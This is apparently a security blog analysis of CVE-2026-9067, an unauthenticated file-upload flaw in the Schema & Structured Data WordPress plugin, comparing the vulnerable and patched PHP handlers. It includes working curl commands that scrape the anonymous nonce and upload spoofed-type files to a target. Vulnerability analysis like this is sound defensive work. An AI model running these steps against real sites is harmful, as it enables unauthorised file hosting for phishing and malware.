//nefariousplan

CVE-2026-9067: Schema & Structured Data's Delete Handler Called current_user_can. The Two Upload Handlers Around It Didn't.

vendor

patterns

cve

proof of concept

Schema & Structured Data for WP & AMP 1.59 registers seven handlers in its review-feature constructor through wp_ajax_nopriv_. One of them, saswp_remove_file, opens with if ( ! current_user_can( 'delete_post', $attachment_id ) ) { return; }. Two of them, saswp_image_upload and saswp_video_upload, sit on either side of it in the same file and never call current_user_can at all. CVE-2026-9067 is the question the developer asked on the handler between the two they didn't ask it on.

Seven handlers, three mutations, one capability check

modules/reviews/class-saswp-review-feature-frontend.php declares the review feature's frontend AJAX surface. The constructor at the top of the file wires twelve actions, seven of them duplicated to wp_ajax_nopriv_* so they are reachable without a session:

add_action( 'wp_ajax_saswp_rf_form_image_upload', [$this, 'saswp_image_upload'] );
add_action( 'wp_ajax_nopriv_saswp_rf_form_image_upload', [$this, 'saswp_image_upload'] );

add_action( 'wp_ajax_saswp_rf_form_remove_file', [$this, 'saswp_remove_file'] );
add_action( 'wp_ajax_nopriv_saswp_rf_form_remove_file', [$this, 'saswp_remove_file'] );

add_action( 'wp_ajax_saswp_rf_form_video_upload', [$this, 'saswp_video_upload'] );
add_action( 'wp_ajax_nopriv_saswp_rf_form_video_upload', [$this, 'saswp_video_upload'] );

In WordPress, wp_ajax_<action> routes requests from logged-in users. wp_ajax_nopriv_<action> routes everyone else. Registering both variants binds the handler to any caller, regardless of session state.

Three of the seven nopriv actions mutate the media library. saswp_rf_form_image_upload and saswp_rf_form_video_upload write a file into /wp-content/uploads/YYYY/MM/ and insert a new attachment post. saswp_rf_form_remove_file deletes an attachment by post ID.

Open saswp_remove_file at line 765 of the 1.59 file:

public function saswp_remove_file() {

    if ( ! isset( $_POST['saswp_rf_form_nonce'] ) ) {
        return;
    }

    if ( ! wp_verify_nonce( $_POST['saswp_rf_form_nonce'], 'saswp_rf_form_action_nonce') ) {
        return;
    }
    // phpcs:ignore WordPress.Security.NonceVerification.Recommended
    $attachment_id = isset( $_REQUEST['attachment_id'] ) ? absint( $_REQUEST['attachment_id'] ) : '';

    if ( ! current_user_can( 'delete_post', $attachment_id ) ) {
        return;
    }

    $deleted = wp_delete_attachment( $attachment_id );
    ...
}

Three checks. Nonce presence, nonce verification, and current_user_can( 'delete_post', $attachment_id ). The third is the gate the others rely on. The author of this file knew that a handler bound to wp_ajax_nopriv_ could be hit by anyone, that "anyone" deleting an arbitrary attachment ID is not what the endpoint is for, and that the WordPress capability API was the right place to draw that line.

Open saswp_image_upload at line 671 of the same file:

public function saswp_image_upload() {

    if ( ! isset( $_POST['saswp_rf_form_nonce'] ) ) {
        return;
    }

    if ( ! wp_verify_nonce( $_POST['saswp_rf_form_nonce'], 'saswp_rf_form_action_nonce') ) {
        return;
    }

    $img_max_size = 1024;

    $file               = $_FILES['saswp-rf-form-image'];
    $allowed_file_types = [ 'image/jpg', 'image/jpeg', 'image/png', 'image/gif' ];
    ...

Two checks. Nonce presence, nonce verification. No current_user_can.

Open saswp_video_upload at line 822. Same shape, byte for byte:

public function saswp_video_upload() {
    if ( ! isset( $_POST['saswp_rf_form_nonce'] ) ) {
        return;
    }

    if ( ! wp_verify_nonce( $_POST['saswp_rf_form_nonce'], 'saswp_rf_form_action_nonce') ) {
        return;
    }

    $file               = $_FILES['saswp-rf-form-video'];
    $allowed_file_types = ['video/mp4', 'video/mov', 'video/avi'];
    ...

The function the author remembered to gate sits between the two they didn't. Same file. Same author. Same constructor block above. Same nopriv binding. The privileged operation differs (write vs. delete); the missing question is the same one.

The two checks on the upload handlers verify CSRF, not identity

wp_verify_nonce confirms that the value the caller posted was computed by this WordPress install for this action name within the last 24 hours. WordPress nonces are CSRF tokens. They prove a request is fresh and originated from a page this server served. They do not prove the caller is logged in, and they do not prove the caller holds any particular capability. WordPress provides is_user_logged_in() for the first property and current_user_can() for the second.

This is the nonce-is-not-auth failure mode, previously documented in this catalog for CVE-2026-3891 on Pix for WooCommerce and a recurring shape across the WordPress plugin ecosystem. A handler bound to wp_ajax_nopriv_ whose only identity gate is wp_verify_nonce is reachable by anyone who can produce a valid nonce, and a valid nonce for an anonymous action is obtainable from any page that serves the form the nonce is bound to.

The Schema & Structured Data plugin localizes its review-form nonce into the page that hosts the review widget. A page that renders the form returns HTML containing a localized JavaScript object whose saswp_rf_page_security_nonce field is the ten-byte hex output of wp_create_nonce('saswp_rf_form_action_nonce'). For an unauthenticated visitor, WordPress computes the nonce against user ID 0, the anonymous identity. The token is valid for the next 24 hours and is identical for every anonymous caller in that window.

The upload handler's nonce check, called against an unauthenticated caller, compares that same token against the same anonymous-user expected value. They match. The check passes. The function continues into the file write.

Step one of the attack is a single curl against the front page:

NONCE=$(curl -s "https://target.com/" \
  | grep -oP 'saswp_rf_page_security_nonce["\x27]?\s*:\s*["\x27]([a-f0-9]{10})' \
  | grep -oP '[a-f0-9]{10}' | head -1)

The nonce is now in the attacker's shell variable. The caller has not authenticated, has not registered, has not submitted a form. They GET-requested the home page.

$file['type'] is the Content-Type header the client sent

The 1.59 image handler's only filter on what gets written is the in_array against $allowed_file_types:

if (! in_array($file['type'], $allowed_file_types)) {
    $valid_file_type = str_replace('image/', '', implode(', ', $allowed_file_types));
    $error_file_type = str_replace('image/', '', $file['type']);

    wp_send_json_error(['msg' => sprintf(esc_html__('Invalid file type: %s. Supported file types: %s', 'schema-and-structured-data-for-wp'), $error_file_type, $valid_file_type)]);
}

$file['type'] is $_FILES['saswp-rf-form-image']['type']. PHP populates that field from the Content-Type part of the multipart form section the caller sent. The string is whatever appeared in the client's request body. The check is satisfied by sending Content-Type: image/png in the multipart envelope regardless of what the file's actual bytes are.

Two WordPress APIs were available for the check the plugin needed. wp_check_filetype_and_ext inspects the file's bytes through finfo and returns the detected MIME. wp_handle_upload's mimes override argument constrains the WP-layer allowlist down from the default media set to whatever the caller wants. The 1.59 handler used neither. The check on the line above runs against the client's own assertion about the file.

Step two of the attack:

curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -F "action=saswp_rf_form_image_upload" \
  -F "saswp_rf_form_nonce=$NONCE" \
  -F "[email protected];type=image/png;filename=evil.csv"

The plugin's in_array check passes (Content-Type of this multipart section is image/png). Execution falls through to wp_handle_upload($file, ['test_form' => false]). WordPress core then runs its own filetype-and-ext check against the file's name and bytes, against the default media allowlist. The default allowlist excludes .php, .phtml, .html, .htm, .svg, .js, and the other types core has historically considered unsafe to serve from uploads/. It accepts .csv, .txt, .json, .pdf, .xml, .mp3, .mp4, .zip, and the rest of the documented media set. The file lands at /wp-content/uploads/YYYY/MM/evil.csv.

The handler then calls wp_insert_attachment and returns:

{"success":true,"data":{"file_info":{"id":123,"url":false}}}

The url field is false because WordPress couldn't generate a thumbnail for a non-image. The file is on disk and is publicly retrievable:

curl -s "https://target.com/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"

The PoC's own README is explicit about where the ceiling sits: "WordPress core blocks executable types (.php, .phtml, .html, .svg). Therefore, there is NO direct RCE path from this vulnerability." The primitive is unauthenticated arbitrary write into the webroot, scoped to the WordPress documented-media set. The unauthenticated landing surface is large enough for phishing PDFs, blackhat SEO landing files served as XML, malware payloads served as ZIP, and arbitrary asset hosting on the victim's domain under the victim's TLS certificate. The PHP ceiling is held in place by WordPress core, not by anything this plugin did.

The patch added the question to the upload handlers. The wp_ajax_nopriv_ binding stayed.

The 1.60 image handler:

 public function saswp_image_upload() {

     if ( ! isset( $_POST['saswp_rf_form_nonce'] ) ) {
+        wp_send_json_error( [ 'msg' => esc_html__( 'Invalid request.', 'schema-and-structured-data-for-wp' ) ] );
         return;
     }

     if ( ! wp_verify_nonce( $_POST['saswp_rf_form_nonce'], 'saswp_rf_form_action_nonce') ) {
+        wp_send_json_error( [ 'msg' => esc_html__( 'Security check failed.', 'schema-and-structured-data-for-wp' ) ] );
         return;
     }

+    // Improvement #3: Capability check. Only users allowed to upload files may proceed.
+    if ( ! current_user_can( 'upload_files' ) ) {
+        wp_send_json_error( [ 'msg' => esc_html__( 'You do not have permission to upload files.', 'schema-and-structured-data-for-wp' ) ] );
+        return;
+    }

     $img_max_size = 1024;

     $file               = $_FILES['saswp-rf-form-image'];
-    $allowed_file_types = [ 'image/jpg', 'image/jpeg', 'image/png', 'image/gif' ];
+
+    if ( empty( $file['name'] ) || empty( $file['tmp_name'] ) ) {
+        wp_send_json_error( [ 'msg' => esc_html__( 'Please upload file.', 'schema-and-structured-data-for-wp' ) ] );
+        return;
+    }
+
+    $allowed_mimes = [
+        'png'         => 'image/png',
+        'jpg|jpeg|jpe' => 'image/jpeg',
+        'gif'         => 'image/gif',
+    ];

The patch adds three things to the image handler and the same three to the video handler. A current_user_can( 'upload_files' ) check at the top of the function, after the existing nonce verification. A wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $allowed_mimes ) server-side mime inspection that reads the file's bytes, replacing the bypassable $file['type'] read. A mimes argument on wp_handle_upload that constrains the WP-layer allowlist to the three image (or three video) types the plugin actually wants.

upload_files is the WordPress capability held by the Author, Editor, and Administrator roles by default. It is not held by Subscribers, and it is not held by anonymous callers (user ID 0). The check returns false for any caller without an upload-permitted session, and the handler returns early with wp_send_json_error.

Lines 27 and 33 of the constructor in 1.60 are unchanged from 1.59:

add_action( 'wp_ajax_nopriv_saswp_rf_form_image_upload', [$this, 'saswp_image_upload'] );
...
add_action( 'wp_ajax_nopriv_saswp_rf_form_video_upload', [$this, 'saswp_video_upload'] );

WordPress still routes anonymous POST requests for action=saswp_rf_form_image_upload into saswp_image_upload. The handler now rejects them at the third check instead of accepting them and writing to disk. Both designs work as patches; only one of them removes the surface. The patched 1.60 leaves the upload handlers reachable by unauthenticated callers and adds a check inside the function to send them away. The shape of the gate has not changed. The gate now does the work the nonce was being asked to do.

The catalog's Pix for WooCommerce exhibit on the same pattern took the opposite route on its patch: version 1.6.0 removed the nopriv registrations for both the certificate upload and the nonce generator that fed it, making the endpoint unreachable to anonymous callers as a property of the constructor rather than a check inside the function. Both are valid corrections. The choice between them tells you what the maintainer believes the gate is. Schema & Structured Data's maintainer believes the gate is current_user_can, applied per-handler, layered on top of a constructor that continues to wire nopriv for every frontend handler the review feature ships.

//Todo: think about sanitization here, in 1.59 and in 1.60

The 1.59 saswp_video_upload handler, at line 861, carries a comment immediately above the wp_insert_attachment call:

$uploaded = wp_handle_upload($file, $upload_overrides);

if ($uploaded && ! isset($uploaded['error'])) {
    $filename = $uploaded['file'];
    $filetype = wp_check_filetype(basename($filename), null);

    //Todo: think about sanitization here
    $attach_id = wp_insert_attachment(
        [
            'guid'           => $uploaded['url'],
            ...

The 1.60 saswp_video_upload handler, at line 928, carries the same comment immediately above the same call:

$uploaded = wp_handle_upload($file, $upload_overrides);

if ($uploaded && ! isset($uploaded['error'])) {
    $filename = $uploaded['file'];
    $filetype = wp_check_filetype( basename( $filename ), $allowed_mimes );

    //Todo: think about sanitization here
    $attach_id = wp_insert_attachment(
        [
            'guid'           => $uploaded['url'],
            ...

The 1.60 patch added a capability check on the function, replaced the bypassable Content-Type read with wp_check_filetype_and_ext, and locked wp_handle_upload to a video-only mime map. The three changes the comment was about all landed in the same function. The comment did not change. It still names the gap the author originally meant to think about, and now it sits next to the code that thinks about it.

This is the inverse of the canonical todo-that-shipped artifact, catalog exhibits such as CVE-2026-1368 on vczapi where the comment names a control the code never installs and the patch is the installation. Here the comment named a gap, the gap got closed in three separate ways in the function the comment is in, and the comment stayed in place. It now reads as residue, not testimony. The author's note to themselves outlived the work the note was about.

The catalog's playbook entry on this pattern says to sort source TODOs by age and treat anything older than eighteen months as accumulated technical debt with security implications. The saswp_rf_form_video_upload action was introduced in plugin version 1.45 in 2018. The comment has been in the file for the better part of a decade. It went through the CVE-2026-9067 patch unchanged. The patch addressed what the comment was about; nobody removed the comment.

Close

The capability check Schema & Structured Data didn't write on the upload handlers in 1.45 is on them in 1.60. The wp_ajax_nopriv_ registration that exposed the upload handlers in 1.45 still exposes them now. The TODO that named the original doubt shipped a third time, against the code that finally did the thinking it asked for.

PoC: Polosss/By-Poloss..-..CVE-2026-9067

The capability check moved into the upload handlers. The wp_ajax_nopriv_ binding that exposed them stayed in the constructor.